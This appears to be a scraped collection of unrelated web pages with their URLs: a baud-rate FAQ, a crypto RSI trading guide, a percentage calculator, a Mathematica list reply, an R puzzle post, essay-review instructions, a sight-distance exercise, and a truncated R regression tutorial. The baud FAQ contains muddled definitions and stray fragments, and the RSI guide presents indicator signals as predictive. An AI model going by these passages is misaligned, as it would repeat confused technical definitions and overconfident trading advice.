"# How do you convert bitrate to baud rate?\n\n## How do you convert bitrate to baud rate?\n\nBit rate is the transmission of number of bits per second. On the other hand, Baud rate is defined as the number of signal units per second. The formula which relates both bit rate and baud rate is given below: Bit rate = Baud rate x the number of bit per baud.\n\n### Is baud rate the same as bits per second?\n\nSummary. Baud rate is the measure of the number of changes to the signal (per second) that propagate through a transmission medium. The baud rate may be higher or lower than the bit rate, which is the number of bits per second that the user can push through the transmission system.\n\n#### How many bytes per second is 115200 baud?\n\n12800 bytes/sec\nSo a theoretical maximum for 8N1 serial over 115200 Baud (bits/sec) = 115200/(8+1) = 12800 bytes/sec.\n\nHow many bytes per second is 9600 baud?\n\nAt 9600 baud, the bit time is about 104 microseconds which makes each character sent take 1.04 milliseconds. This corresponds to a transfer rate of about 960 bytes per second.\n\nHow do you calculate bits per second?\n\nThe bit rate is calculated using the formula:\n\n1. Frequency × bit depth × channels = bit rate.\n2. 44,100 samples per second × 16 bits per sample × 2 channels = 1,411,200 bits per second (or 1,411.2 kbps)\n3. 1,411,200 × 240 = 338,688,000 bits (or 40.37 megabytes)\n\n## Does 1 baud equal 1 bps?\n\nBps is a measure of how many bits can be transmitted during one pulse (one baud). So, bps = baud * number of bits per baud . The two are often confused because early modems used to transmit only 1 bit per baud, so a 1200 baud modem would also be transmitting 1200 bps.\n\n### What is difference between data rate and bit rate?\n\nIt is generally measured in bits per second(bps), Mega bits per second(Mbps) or Giga bits per second(Gbps)….Difference between Bandwidth and Data Rate:\n\nBandwidth Data Rate\nIt is the number of bits per second that a link can send or receive. It is the speed of data transmission.\n\n#### What is bit rate?\n\nBit rate refers to the rate at which data is processed or transferred. It is usually measured in seconds, ranging from bps for smaller values to kbps and mbps. Bit rate is also known as bitrate or data rate.\n\nHow fast is 4800 baud?\n\n4,800 baud may allow 9,600 bits to be sent each second.\n\nCan you calculate bit rate?\n\nThe following formulas take this into account. So, for this example, a BTR value of 0x1C09 gives a CAN baudrate of 125 kBit/second . But again, the BTR value depends on the clock frequency of the CAN controller ! 8e6 / ( ( 9+1) * ( 3 + 12 + 1 ) = 50000 = 50 kBit/second !\n\n## Is bit rate the same as data rate?\n\nData rate can be used to mean the same as bit rate. Sometimes it is used to measure the rate at which data, as opposed to overhead, is transmitted.\n\n### How do you calculate bits per baud?\n\nBegin typing your search term above and press enter to search. Press ESC to cancel."
]
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https://bloodgoodbtc.medium.com/how-to-spot-trend-reversals-with-rsi-99a50f3957b3 | [
"# How to spot trend reversals with RSI\n\nToday we’ll take a look at the Relative strength index (RSI for short), what exactly it is, how it’s calculated and how you can use it to level up your trading game.\n\nThe RSI is a momentum indicator used in technical analysis (TA), first developed by J. Welles Wilder. Simply put, it measures the speed and change of price movement and signals when a cryptocurrency or an asset is either overbought or oversold. It holds values between 0 and 100 and is typically calculated with 14 periods (more on that later). Usually, it’s plotted as an oscillator (a line graph that reaches values between two extremes) beneath the price chart. Generally, an asset is considered overbought when the RSI is above 70% and oversold when it’s below 30%. In such extremes, one can expect an upcoming trend reversal or a corrective pullback in the opposite direction. We’ll take a look at some examples to show you the practical implications later on.\n\nThe formula for RSI is calculated in two parts and is fairly simple yet difficult to explain.\n\nThe first part (simple 14-period averages):\n\nRSI = 100 — (100 / (1 + (initial Average gain/initial average loss)))\n\nAverage gain = Sum of gains over the past 14 periods / 14\n\nAverage loss = Sum of losses over the past 14 periods / 14\n\nThe average gain and average loss used in the calculation are the average percentages of gains and losses during the chosen period and the average loss is expressed as a positive value.\n\nThe second part (smooths the result):\n\nRSI = 100 — (100 / (1 + ((Previous average gain x 13) + current gain) / ((previous average loss x 13 + current loss))))\n\nThrough the second step, the results are smoothed in order to become more accurate, produce less false positives and to extend the calculation period. Once again, the average losses are expressed as positive values.\n\nAfter the second step, the RSI points can be plotted onto the chart, creating the visualization we stride for.\n\nNow that we know how the RSI is calculated, let’s look at what we can learn from it and how traders use it for TA. We’ve said before that when the RSI is signaling that a token is oversold or overbought, we can expect a reversal or a corrective pullback. Despite that, the RSI can and similar momentum oscillators can become overbought/oversold and remain so in a strong up/down trend. We can see such behavior in the Bitcoin example below. Even though the RSI signaled that BTC is overbought for quite some time, the price climbed higher with minimal pullbacks because of a very strong long-term uptrend.\n\nTo counteract such false positives, we can combine the RSI with other trading indicators to either confirm or deny the price reversal signal. In this fashion, the RSI is often combined with the Moving average convergence divergence (MACD) indicator which calculates momentum differently from the RSI by comparing the relative positions of a short and long-term moving average. Another popular RSI combination is with Moving average Crossovers, that predict reversals quicker.\n\nBecause of the RSI’s nature of false positives in strong trends, it’s most useful in sideways movement — when the price of a cryptocurrency stays within a certain range. In the example below, we can see that Ethereums (ETH) price moved sideways within the chosen time period. When the RSI signaled that ETH is oversold once towards the end of November and again in the middle of December it correctly predicted the trend reversal that followed in the coming month and a half, when the price more than doubled. At its peak in the middle of February, the RSI almost touched 90%, predicting a trend reversal that followed. In the middle of March when the price reached the bottom again, the RSI dipped under 30%, correctly signaling yet another reversal which followed in the form of a slow but steady uptrend in the following months.\n\nAccording to Wilder, RSI divergences can also predict potential reversals because directional momentum doesn’t confirm the price. When the price of a token forms higher highs while the RSI forms lower highs a bearish divergence is formed, which signals a potential reversal downwards. On the flip side, when the RSI forms higher lows while the price forms lower lows, a bullish divergence is formed, signaling a potential reversal upwards. A bearish divergence can be observed in Litecoin’s chart below, where the price kept making higher highs and the RSI consistently recorded lower lows. Soon after the overall trend reversed, causing the price to decline over the next three months.\n\nLastly, the RSI can signal an impending reversal with “failure swings”. They’re completely independent from price action or divergences, therefore we solely focus on the RSI. A bullish failure swing forms when the price dips below 30%, jumps back up, dips back down but holds above 30% and then beats the prior high. Conversely, a bearish divergence forms when the RSI moves above 70%, pulls back, bounces back up but fails to exceed 70% and then breaks the prior low level.\n\nA bullish failure swing can be observed on the Cardano’s graph below, where the RSI dipped under 30%, bounced back above, retraced again without breaking 30% and then barely pushed above the previous high. After the failure swing, the price movement recorded a short term reversal and uptrend we could make a move on.\n\nBinance’s graph depicts a bearish failure swing, where the RSI jumped above 70% while in a price uptrend, then it fell back down and lastly climbed up almost to the 70% but not reaching it again, predicting the upcoming bearish price movement that followed in the next months.\n\nConclusion\n\nWhile the RSI is super useful, it has its limitations. Usually it works best and is most reliable when conforming to the long-term trend. Because the indicator shows momentum, it can remain oversold or overbought for quite some time, when the token has significant momentum (a strong, long-term trend) in either direction. Because of this, the RSI is most useful when the price moves sideways, within a price range. As mentioned before, it’s also often combined with other indicators to confirm the reversal signals."
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https://www.percentagecal.com/answer/17-is-what-percent-of-%2032 | [
"Solution for 17 is what percent of 32:\n\n17: 32*100 =\n\n(17*100): 32 =\n\n1700: 32 = 53.13\n\nNow we have: 17 is what percent of 32 = 53.13\n\nQuestion: 17 is what percent of 32?\n\nPercentage solution with steps:\n\nStep 1: We make the assumption that 32 is 100% since it is our output value.\n\nStep 2: We next represent the value we seek with {x}.\n\nStep 3: From step 1, it follows that {100\\%}={ 32}.\n\nStep 4: In the same vein, {x\\%}={17}.\n\nStep 5: This gives us a pair of simple equations:\n\n{100\\%}={ 32}(1).\n\n{x\\%}={17}(2).\n\nStep 6: By simply dividing equation 1 by equation 2 and taking note of the fact that both the LHS\n(left hand side) of both equations have the same unit (%); we have\n\n\\frac{100\\%}{x\\%}=\\frac{ 32}{17}\n\nStep 7: Taking the inverse (or reciprocal) of both sides yields\n\n\\frac{x\\%}{100\\%}=\\frac{17}{ 32}\n\n\\Rightarrow{x} = {53.13\\%}\n\nTherefore, {17} is {53.13\\%} of { 32}.\n\nSolution for 32 is what percent of 17:\n\n32:17*100 =\n\n( 32*100):17 =\n\n3200:17 = 188.24\n\nNow we have: 32 is what percent of 17 = 188.24\n\nQuestion: 32 is what percent of 17?\n\nPercentage solution with steps:\n\nStep 1: We make the assumption that 17 is 100% since it is our output value.\n\nStep 2: We next represent the value we seek with {x}.\n\nStep 3: From step 1, it follows that {100\\%}={17}.\n\nStep 4: In the same vein, {x\\%}={ 32}.\n\nStep 5: This gives us a pair of simple equations:\n\n{100\\%}={17}(1).\n\n{x\\%}={ 32}(2).\n\nStep 6: By simply dividing equation 1 by equation 2 and taking note of the fact that both the LHS\n(left hand side) of both equations have the same unit (%); we have\n\n\\frac{100\\%}{x\\%}=\\frac{17}{ 32}\n\nStep 7: Taking the inverse (or reciprocal) of both sides yields\n\n\\frac{x\\%}{100\\%}=\\frac{ 32}{17}\n\n\\Rightarrow{x} = {188.24\\%}\n\nTherefore, { 32} is {188.24\\%} of {17}.\n\nCalculation Samples"
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https://forums.wolfram.com/mathgroup/archive/2007/Nov/msg00493.html | [
"",
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"Re: Get list of function variables?\n\n• To: mathgroup at smc.vnet.net\n• Subject: [mg83313] Re: [mg83258] Get list of function variables?\n• From: DrMajorBob <drmajorbob at bigfoot.com>\n• Date: Sat, 17 Nov 2007 05:24:07 -0500 (EST)\n• References: <29455150.1195212238501.JavaMail.root@m35>\n\n```Strictly speaking, f, g, and h (a) are not functions and (b) do not have\nvariables.\n\nIn this example:\n\nf[x_,y_]:=a*x^2+b*y^2\n\nf may act like a function, but it's actually a pattern-based rule -- and\nit can have several, not just the one.\n\nTo find out what patterns f recognizes, you can look at\n\nDownValues@f\n\n{HoldPattern[f[x_, y_]] :> a x^2 + b y^2}\n\nBobby\n\nOn Fri, 16 Nov 2007 04:30:13 -0600, Jason Quinn\n<jason.lee.quinn at gmail.com> wrote:\n\n> This seems simple but how do I get the arguments to an arbitrary\n> function? Ideally something like getVariables[f] that just accepts the\n> function name as its argument.\n>\n> If I have f[x_,y_]:=a*x^2+b*y^2, getVariables[f] should return {x,y}\n> If I have g[n_,m_]:=a*n^2+b*m^2, getVariables[g] should return {n,m}\n> If I have h[w_,x_,y_,z_]:=A*w*x*y*z+B, getVariables[h] should return\n> {w,x,y,z}\n>\n> Thanks for any suggestions,\n> Jason\n>\n>\n\n--\n\nDrMajorBob at bigfoot.com\n\n```\n\n• Prev by Date: Re: Default value for Dynamic InputField\n• Next by Date: Re: Does ColorFunction-> have different meanings to Plot3D\n• Previous by thread: Re: Get list of function variables?\n• Next by thread: Get list of function variables?"
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https://xianblog.wordpress.com/2015/05/01/le-monde-puzzle-909/ | [
"## Le Monde puzzle [#909]",
null,
"Another of those “drop-a-digit” Le Monde mathematical puzzle:\n\nFind all integers n with 3 or 4 digits, no exterior zero digit, and a single interior zero digit, such that removing that zero digit produces a divider of x.\n\nAs in puzzle #904, I made use of the digin R function:\n\n```digin=function(n){\nas.numeric(strsplit(as.character(n),\"\")[])}\n```\n\nand simply checked all integers up to 10⁶:\n\n```plura=divid=NULL\nfor (i in 101:10^6){\ndive=rev(digin(i))\nif ((min(dive,rev(dive))>0)&\n(sum((dive[-c(1,length(dive))]==0))==1)){\ndive=dive[dive>0]\ndive=sum(dive*10^(0:(length(dive)-1)))\nif (i==((i%/%dive)*dive)){\nplura=c(plura,i)\ndivid=c(divid,dive)}}}\n```\n\n```> plura\n1] 105 108 405 2025 6075 10125 30375 50625 70875\n> plura/divid\n 7 6 9 9 9 9 9 9 9\n```\n\nleading to the conclusion there is no solution beyond 70875. (Allowing for more than a single zero within the inner digits sees many more solutions.)\n\n### 5 Responses to “Le Monde puzzle [#909]”\n\n1.",
null,
"R. Brent Stansfield (@rbstansfield) Says:\n\nDoesn’t 100 technically qualify?\n\n•",
null,
"xi'an Says:\n\nNo, only integers with non-zero extreme digits can be used.\n\n•",
null,
"xi'an Says:\n\nWhich was not mentioned in the original post, sorry!\n\n2.",
null,
"Philip Whittall Says:\n\nSo, are the following propositions true if we allow any number of digits …\n1> All solutions are divisible by 3.\n2> 108 is the only solution not divisible by 5.\n3> All solutions > 105 are divisible by 9\n\nPhilip\n\n•",
null,
"xi'an Says:\n\nJudging from the only possible solutions, the answer is yes!\n\nThis site uses Akismet to reduce spam. Learn how your comment data is processed."
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https://facileessays.com/part-2-article-review-1/ | [
"# part 2 article review 1\n\nArticle Reviews Instructions\n\nPurpose:\n\nThe purpose of the article review is to guide you through some of the thought processes necessary to be a savvy consumer of primary sources. This exercise will help you determine not only the findings in the article but also the larger theoretical framework in which the author has placed those findings, the limitations of the work, and the impact it has had on the scientific community. By answering the following questions, you will also have a clear understanding of the development and rationale of the research hypothesis. Finally, this process will also help you learn to communicate your own ideas more effectively in your final paper and perhaps your thesis.\n\nInstructions:\n\nSubmit the completed form and a PDF of the article being reviewed. See the example below for a detailed explanation of the required material for each question.\n\nEach article review myst be submitted by 11:59 p.m. (ET) on Sunday of the assigned modules/weeks.\n\n1. APA reference of the article being reviewed.\n\nWrite the reference for the article as if it were in the reference section of your paper.\n\n2. What is the research problem that is being investigated? What is the purpose of the research being conducted?\n\nProvide the “why” behind the paper. Why have they conducted this experiment? For example: “These experiments were designed to explore the role of second order conditioning in anxiety disorders.”\n\n3. What is the research question?\n\nThe research question is more specific. What is the specific question or questions the article will answer as a result of the study or experiment. For example: “Are adolescents more sensitive to the memory imparting effects of alcohol?”\n\n4. How many sources are used in the introduction? List each one. Tell how many sentences are written about each source.\n\nCount the number of sources in the introduction and then list them. For each source give the number of sentences written about it.\n\n5. Outline the introduction (Divide the introduction into thematic groups with their own subheadings—and include what information is provided about each source. The end of your outline should point you to the research question and design—these need to be included in your outline).\n\nThink about the introduction as a whole and then break it down into its thematic groups. Be sure to include the research question in the outline.\n\nI. Prevalence and cost of drug addiction\n\na. Global\n\nb. US\n\nII. Relapse\n\na. Prevalence\n\nb. Description\n\nc. Cause\n\nd. Prevention\n\nIII. Spontaneous Recovery\n\na. Animal studies\n\ni. Dr. X first described it in rats\n\nii. Theoretical explanation\n\n1. Initial explanation is….\n\n2. Recent studies suggest that it is best explained in terms of …..\n\nb. Human studies\n\ni. Consistent with animal findings.\n\nIV. Spontaneous Recovery used to explain drug relapse\n\na. Animal studies\n\ni. Stress\n\nii. Small dose induction\n\nb. Human studies\n\ni. Stress\n\nii. Small dose induction\n\n1. Prescription pain medication\n\nV. Research question: Could stress management help reduce relapse in individuals recovering from substance us?\n\na. Hypothesis of the writers\n\nb. Support for hypothesis\n\nc. Predicted results\n\n6. What are two (or more) theories that are discussed in the introduction? How are they used to motivate (or set up) the research question? Do the authors agree or disagree with these theories?\n\nSimply restate the theories discussed in the introduction in your own words. State how these theories are driving the research questions. If the authors’ hypothesis is correct, will it support the theory or be inconsistent with the theory? You should have a good idea of where the authors stand based on the evidence presented and the arguments they are making.\n\n7. What previous research (not theories) have been conducted on this topic? How do these previous studies relate to the current research question?\n\nFocus on the experiments cited in the introduction. In your own words, give a short summary of what has already been done and then explain how those findings relate to the current research question.\n\n8. Why is the proposed research the logical next step (that is—what rationale and motivation) is there for this research? What hole in psychological knowledge is this study following?\n\nRestate/summarize the authors’ rationale for the research in your own words. How is the current research question a logical progression of the previous findings? Answering this question will require that you think about the authors’ rationale for their research. They should have made a strong case for why this is the logical next step as well as pointed out that answering this question will fill in an important gap in the literature.\n\n9. How is the research question operationalized? (First, identify the abstract constructs being studied. Next identify the concrete way these are being observed or measured. This should include your IV and DV.)\n\nA construct is an abstract explanatory variable that is not directly observable (e.g., memory). The concrete way the construct is measured will point you to the dependent variable (DV). For example, if the paper is concerned with memory, the DV may be the number of items recalled. The independent variable (IV) could be the amount of sleep each participant was allowed the night before the test. Remember that we cannot directly measure many of the constructs that are studied in psychology, so it is important that we identify how they are being operationalized in each research study.\n\n10. What is the research design? (I.e., between or within subjects, what type of statistical tests were used, what were the levels of each variable?)\n\nThis information will be in the methods section of your paper. Be sure to provide enough detail to describe how the study was designed.\n\n11. Describe the results (but not their broader implications). Were the results significant? Which ones? Do these support or not support the hypothesis?\n\nDescribe the results in your own words. For example: Group X was able to recall significantly more words than Group Y. This finding supports the hypothesis that manipulation Y would reduce recall.\n\n12. Outline the discussion.\n\nDivide the discussion into thematic groups with their own subheadings. This should probably begin with a summary of the results and the previous sources. How many sources are used in the general discussion? Summarize the sources used and how they relate to the discussion and the research question.\n\n13. What limitations are mentioned? Why are these limitations theoretically interesting?\n\nLimitations can be found in the discussion section of the paper. If a limitation is that they didn’t have X control group, then explain in your own words why that is important. Does does it change the interpretation of the findings?\n\n14. What future research is anticipated? Why is the future research theoretically interesting?\n\nDescribe in your own words the future research that the author anticipates. Discuss why these studies would be of theoretical importance. How would they further our understanding of the construct or theory in question?\n\n15. What is the Eigenfactor of the journal that published this article? Is it high or low? Do you think that the impact factor influences the quality of the article (or vise-versa)?\n\nThe Eigenfactor is one measure of the impact of a journal. If you are unfamiliar with Eigenfactors, please see this website for a short description. You can find the Eigenfactor for your article at the Eigenfactor website. Type in the name of your journal, find it in the list of results and report the EF value. Remember the total of all Eigenfactors is 100 and the highest individual Eigenfactor currently belongs to Science (1.22).\n\n16. How many times has this article been cited?\n\nThere are many ways to find this information. Some database site will give you this information or you can go to Web of Science and select a “Cited Reference Search”. This information should give you a rough idea of the impact this article has had on the field.\n\nArticle review\n\nName:_______\n\nTopic of Research Paper:_______\n\n1. APA reference of article being reviewed\n\n2. What is the research problem that is being investigated? What is the purpose of the research being conducted?\n\n3. What is the research question?\n\n4. How many sources are used in the Introduction? List each one. Tell how many sentences are written about each source.\n\n5. Outline the introduction (Divide the introduction into thematic groups with their own subheadings and include what information is provided about each source. The end of your outline should point you to the research question and design—these need to be included in your outline).\n\n6. What are two (or more) theories that are discussed in the Introduction? How are they used to motivate (or set up) the research question? Do the authors agree or disagree with these theories?\n\n7. What previous research (not theories) have been conducted on this topic? How do these previous studies relate to the current research question?\n\n8. Why is the proposed research the logical next step (that is—what rationale and motivation) is there for this research? What hole in Psychological knowledge is this study following?\n\n9. How is the research question operationalized? (First, identify the abstract constructs being studied. Next identify the concrete way these are being observed or measured. This should include your IV and DV.)\n\n10. What is the research design? (I.e. between or within subjects, what type of statistical tests were used, what were the levels of each variable)\n\n11. Describe the results (but not their broader implications). Were their results significant? Which ones? Do these support or not support the hypothesis?\n\n12. Outline the discussion. (Divide the discussion into thematic groups with their own subheadings. This should probably begin with a summary of the results, and the previous sources. How many sources are used in the general discussion? Summarize the sources used and how they relate to the discussion and the research question.)\n\n13. What limitations are mentioned? Why are these limitations theoretically interesting?\n\n14. What future research is anticipated? Why is the future research theoretically interesting?\n\n15. What is the Eigenfactor of the journal that published this article? Is it high or low? Do you think that the impact factor influences the quality of the article (or vise-versa)?\n\n1. How many times has this article been cited?\n\nArticle Reviews Grading Rubric\n\nCategory\n\nMeets Expectations\n\nPartially Meets Expectations\n\nDoes Not Meet Expectations\n\nPoints\n\nEarned\n\n1. Current APA Reference\n\n.5 points\n\nMeets all of the following criteria:\n\nAccurate, current APA formatting.\n\n.25 points\n\nMissing 1 of the following criteria:\n\nAccurate, current APA formatting.\n\n0 to .125 points\n\nMissing both of the following:\n\nAccurate, current APA formatting.\n\n2. Problem and Purpose of Research\n\n2 points\n\nMeets all of the following criteria:\n\nClearly states the problem being investigated.\n\nClearly states the purpose of the research.\n\n1 points\n\nMissing 1 of the following criteria:\n\nClearly states the problem being investigated.\n\nClearly states the purpose of the research.\n\n0 to .5 points\n\nMissing more than 1 of the following criteria:\n\nClearly states the problem being investigated.\n\nClearly states the purpose of the research.\n\n3. Research Question\n\n2 points\n\nClearly and accurately states the research question.\n\n1 points\n\nResearch question is either not entirely clear or accurate.\n\n0 to .5 points\n\nResearch question is neither clear nor accurate.\n\n4. Describe Sources in Introduction\n\n2 points\n\nMeets all of the following criteria:\n\nAccurately states the number of sources in introduction.\n\nAccurately lists each of the sources.\n\nAccurately reports how many sentences are written about each source.\n\n1 point\n\nMissing 1 of the following criteria:\n\nAccurately states the number of sources in introduction.\n\nAccurately lists each of the sources.\n\nAccurately reports how many sentences are written about each source.\n\n0 to .5 points\n\nMissing more than 1 of the following criteria:\n\nAccurately states the number of sources in introduction.\n\nAccurately lists each of the sources.\n\nAccurately reports how many sentences are written about each source.\n\n5. Outline the Introduction\n\n3 points\n\nAccurately and clearly outlines the introduction.\n\n1.5 points\n\nOutline is missing some key elements.\n\n0 to .75 points\n\nOutline is missing several key elements.\n\n6. Theories in Introduction\n\n2 points\n\nMeets all of the following criteria:\n\nNames 2 or more theories discussed in the introduction.\n\nDescribes how theories are related to the research question.\n\nAccurately reports that the authors agree or disagree with each theory.\n\n1 point\n\nMissing 1 of the following criteria:\n\nNames 2 or more theories discussed in the introduction.\n\nDescribes how theories are related to the research question.\n\nAccurately reports that the authors agree or disagree with each theory.\n\n0 to .5 points\n\nMissing more than 1 of the following criteria:\n\nNames 2 or more theories discussed in the introduction.\n\nDescribes how theories are related to the research question.\n\nAccurately reports that the authors agree or disagree with each theory.\n\n7. Previous Research\n\n2 points\n\nMeets all of the following criteria:\n\nAccurately describes previous research that has been conducted on the topic.\n\nClearly and accurately describes how previous studies related to the current research question.\n\n1 point\n\nMeets 1 of the following criteria:\n\nAccurately describes previous research that has been conducted on the topic.\n\nClearly and accurately describes how previous studies related to the current research question.\n\n0 to .5 points\n\nMeets none of the following criteria:\n\nAccurately describes previous research that has been conducted on the topic.\n\nClearly and accurately describes how previous studies related to the current research question.\n\n8. Rational and Motivation for Research\n\n2 points\n\nAccurately describes the rationale and motivation for the studies being conducted in your own words.\n\n1 point\n\nMissing a key element in the rationale for the current studies being conducted.\n\n0 to .5 points\n\nFails to accurately describe the rationale for the studies being conducted in your own words.\n\n9. Operationalizing the Research Questions\n\n2 points\n\nAccurately describes how the research question (construct) is being measured (concrete), including the independent and dependent variables.\n\n1 point\n\nMissing a key element in describing how the research question is being measured.\n\n0 to .5 points\n\nFails to accurately describe how the research question is being measured.\n\n10. Research Design\n\n2 points\n\nMeets all of the following criteria:\n\nAccurately describes the design of the studies.\n\nAccurately describes the statistical tests used in the studies.\n\nNames the variable and levels of each of the variables.\n\n1 point\n\nMissing 1 or 2 of the following criteria:\n\nAccurately describes the design of the studies.\n\nAccurately describes the statistical tests used in the studies.\n\nNames the variable and levels of each of the variables.\n\n0 to .5 points\n\nMissing more than 2 of the following criteria:\n\nAccurately describes the design of the studies.\n\nAccurately describes the statistical tests used in the studies.\n\nNames the variable and levels of each of the variables.\n\n11. Results\n\n2 points\n\nMeets all of the following criteria:\n\nAccurately describes each of the results in your own words.\n\nStates if the results were statistically significant.\n\nAccurately states if each finding supports the research hypothesis.\n\n1 point\n\nMeets 1 or 2 of the following criteria:\n\nAccurately describes each of the results in your own words.\n\nStates if the results were statistically significant.\n\nAccurately states if each finding supports the research hypothesis.\n\n0 to .5 points\n\nMissing all of the following criteria:\n\nAccurately describes each of the results in your own words.\n\nStates if the results were statistically significant.\n\nAccurately states if each finding supports the research hypothesis.\n\n12. Outline discussion\n\n3 points\n\nAccurately and clearly outlines the discussion section.\n\n1.5 points\n\nOutline is missing some key elements.\n\n0 to .75 points\n\nOutline is missing several key elements.\n\n13. Limitations\n\n1 point\n\nIdentifies limitations and their theoretical importance.\n\n.5 points\n\nMissing some key limitations or their theoretical importance.\n\n0 to .25 points\n\nMissing more than half of the discussed limitations and their theoretical importance.\n\n14. Future Research\n\n1.5 points\n\nMeets the following criteria:\n\nIdentifies future research anticipated.\n\nIdentifies theoretical importance of the anticipated research.\n\n.75 points\n\nMeets 1 of the following criteria:\n\nIdentifies future research anticipated.\n\nIdentifies theoretical importance of the anticipated research.\n\n0 to .375 points\n\nMeets none of the following criteria:\n\nIdentifies future research anticipated.\n\nIdentifies theoretical importance of the anticipated research.\n\n15. Eigenfactor\n\n2 points\n\nMeets all of the following criteria:\n\nAccurately reports Eigenfactor.\n\nAccurately describes its relative strength (high or low).\n\nAccurately discusses relationship between the impact factor and the quality of the article.\n\n1 point\n\nMissing 1 of the following criteria:\n\nAccurately reports Eigenfactor.\n\nAccurately describes its relative strength (high or low).\n\nAccurately discusses relationship between the impact factor and the quality of the article.\n\n0 to .5 points\n\nMissing more than one of the following criteria:\n\nAccurately reports Eigenfactor.\n\nAccurately describes its relative strength (high or low).\n\nAccurately discusses relationship between the impact factor and the quality of the article.\n\n16. Citation number\n\n1 point\n\nAccurately reports the number of times the article has been cited.\n\n.5 points\n\nSome reports of the number of times the article has been cited are missing or inaccurate.\n\n0 to .25 points\n\nDoes not accurately reports the number of times the article has been cited.\n\nTotal\n\n/30\n\nTags:"
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https://civilnoteppt.com/find-the-stopping-sight-distance-to-avoid-head-on-collision-mathematical-problem-and-solution/ | [
"Civil Engineering\n\n# Find The Stopping Sight Distance To Avoid Head on Collision\n\nHere, a mathematical problem is taken to determine the value of minimum stopping sight distance to avoid head-on collision of two cars, when the value of the braking efficiency is given.\n\n## Mathematical Problem\n\nFind minimum stopping sight distance to avoid head-on collision of two cars approaching at 90 Km/h and 60Km/h. Use reaction time 2.5 sec, coefficient of longitudinal friction is 0.7 and brake efficiency of 50 percent in either case.\n\n## Mathematic Solution\n\nGiven,\n• V1 = 90 Km/h\n• V2 = 60 Km/h\n• t = 2.5 sec\n• f = 0.7\n• Braking efficiency (η) =50% =0.5( note: brake efficiency reduces the coefficient of friction by 50%)\n\nnow,\n\nStopping Sight Distance of first car (SSD1\n(0.278V.t + V²/254fη)\n= 0.278⨯90⨯2.5 + 90²/254⨯0.7⨯0.5\n= 153.6m\nStopping Sight Distance of second car(SSD2)\n(0.278V.t + V²/254fη)\n0.278⨯60⨯2.5 + 60²/254⨯0.7⨯0.5\n= 82.19m\nso, stopping sight distance to avoid head-on collision of the two approaching cars (SSD) = SSD1SSD2 = (153.6+82.19) =235.79m"
]
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https://www.andrewheiss.com/blog/2023/08/15/matrix-multiply-logit-predict/index.html | [
"# Manually generate predicted values for logistic regression with matrix multiplication in R\n\nThis is like basic stats stuff, but I can never remember how to do it—here’s how to use matrix multiplication to replicate the results of `predict()`\nr\nstatistics\nregression\n\nIn a project I’m working on, I need to generate predictions from a logistic regression model. That’s typically a really straightforward task—we can just use `predict()` to plug a dataset of values into a model, which will spit out predictions either on the (gross, uninterpretable) log odds scale or on the (nice, interpretable) percentage-point scale.1\n\n• 1 And for pro-level predictions, use `predictions()` from {marginaleffects}.\n\n• However, in this project I cannot use `predict()`—I’m working with a big matrix of posterior coefficient draws from a Bayesian model fit with raw Stan code, so there’s no special `predict()` function that will work. Instead, I need to use matrix multiplication and manually multiply a matrix of new data with a vector of slopes from the model.\n\nI haven’t had to matrix multiply coefficients with data since my first PhD stats class back in 2012 and I’ve completely forgotten how.\n\nI created this little guide as a reference for myself, and I figured it’d probably be useful for others, so up on the blog it goes (see the introduction to this post for more about my philosophy of public work).",
null,
"Image generated with Bing Image Creator with the prompt “regression matrix multiplication in a sketchy style”\n\n## Example 1: Logistic regression model with an intercept and slopes\n\nHere’s a basic regression model where we predict if a penguin is a Gentoo based on its bill length and body mass.\n\n``````library(palmerpenguins)\n\npenguins <- penguins |>\ntidyr::drop_na(sex) |>\ndplyr::mutate(is_gentoo = species == \"Gentoo\")\n\nmodel <- glm(\nis_gentoo ~ bill_length_mm + body_mass_g,\ndata = penguins,\n)``````\n\nWe can generate predicted values across different three different values of bill length: 40 mm, 44 mm, and 48 mm, holding body mass constant at the average (4207 g):\n\n``````data_to_plug_in <- expand.grid(\nbill_length_mm = c(40, 44, 48),\nbody_mass_g = mean(penguins\\$body_mass_g)\n)\ndata_to_plug_in\n## bill_length_mm body_mass_g\n## 1 40 4207\n## 2 44 4207\n## 3 48 4207``````\n\nWe can feed this little dataset into the model using `predict()`, which can generate predictions as log odds (`type = \"link\"`) or probabilities (`type = \"response\"`):\n\n``````predict(model, newdata = data_to_plug_in, type = \"link\")\n## 1 2 3\n## -2.097 -1.741 -1.385\npredict(model, newdata = data_to_plug_in, type = \"response\")\n## 1 2 3\n## 0.1094 0.1492 0.2002``````\n\nYay, nice and easy.\n\nHere’s how to do the same thing with manual matrix multiplication:\n\n``````# Get all the coefficients\n(coefs <- coef(model))\n## (Intercept) bill_length_mm body_mass_g\n## -32.401514 0.088906 0.006358\n\n# Split intercept and slope coefficients into separate objects\n(intercept <- coefs)\n## (Intercept)\n## -32.4\n(slopes <- coefs[-1])\n## bill_length_mm body_mass_g\n## 0.088906 0.006358\n\n# Convert the data frame of new data into a matrix\n(data_to_plug_in_mat <- as.matrix(data_to_plug_in))\n## bill_length_mm body_mass_g\n## [1,] 40 4207\n## [2,] 44 4207\n## [3,] 48 4207\n\n# Matrix multiply the new data with the slope coefficients, then add the intercept\n(log_odds <- as.numeric((data_to_plug_in_mat %*% slopes) + intercept))\n## -2.097 -1.741 -1.385\n\n# Convert to probability scale\nplogis(log_odds)\n## 0.1094 0.1492 0.2002``````\n\nThe results are the same as `predict()`:\n\n``````predict(model, newdata = data_to_plug_in, type = \"link\")\n## 1 2 3\n## -2.097 -1.741 -1.385\nlog_odds\n## -2.097 -1.741 -1.385\n\npredict(model, newdata = data_to_plug_in, type = \"response\")\n## 1 2 3\n## 0.1094 0.1492 0.2002\nplogis(log_odds)\n## 0.1094 0.1492 0.2002``````\n\n## Example 2: Logistic regression model with a categorical predictor and no intercept\n\nThis gets a little more complex when working with categorical predictors, especially if you’ve omitted the intercept term. For instance, in the data I’m working with, we have a model that looks something like this, with `0` added as a term to suppress the intercept and give separate coefficients for each of the levels of `sex`:\n\n``````model_categorical <- glm(\nis_gentoo ~ 0 + sex + bill_length_mm + body_mass_g,\ndata = penguins,\n)\ncoef(model_categorical)\n## sexfemale sexmale bill_length_mm body_mass_g\n## -75.68237 -89.88199 0.03387 0.01831``````\n\nWhen using `predict()`, we don’t have to do anything special with this intercept-free model. We can plug in a dataset with different variations of predictors:\n\n``````data_to_plug_in_cat <- expand.grid(\nsex = c(\"female\", \"male\"),\nbill_length_mm = c(40, 44, 48),\nbody_mass_g = mean(penguins\\$body_mass_g)\n)\ndata_to_plug_in_cat\n## sex bill_length_mm body_mass_g\n## 1 female 40 4207\n## 2 male 40 4207\n## 3 female 44 4207\n## 4 male 44 4207\n## 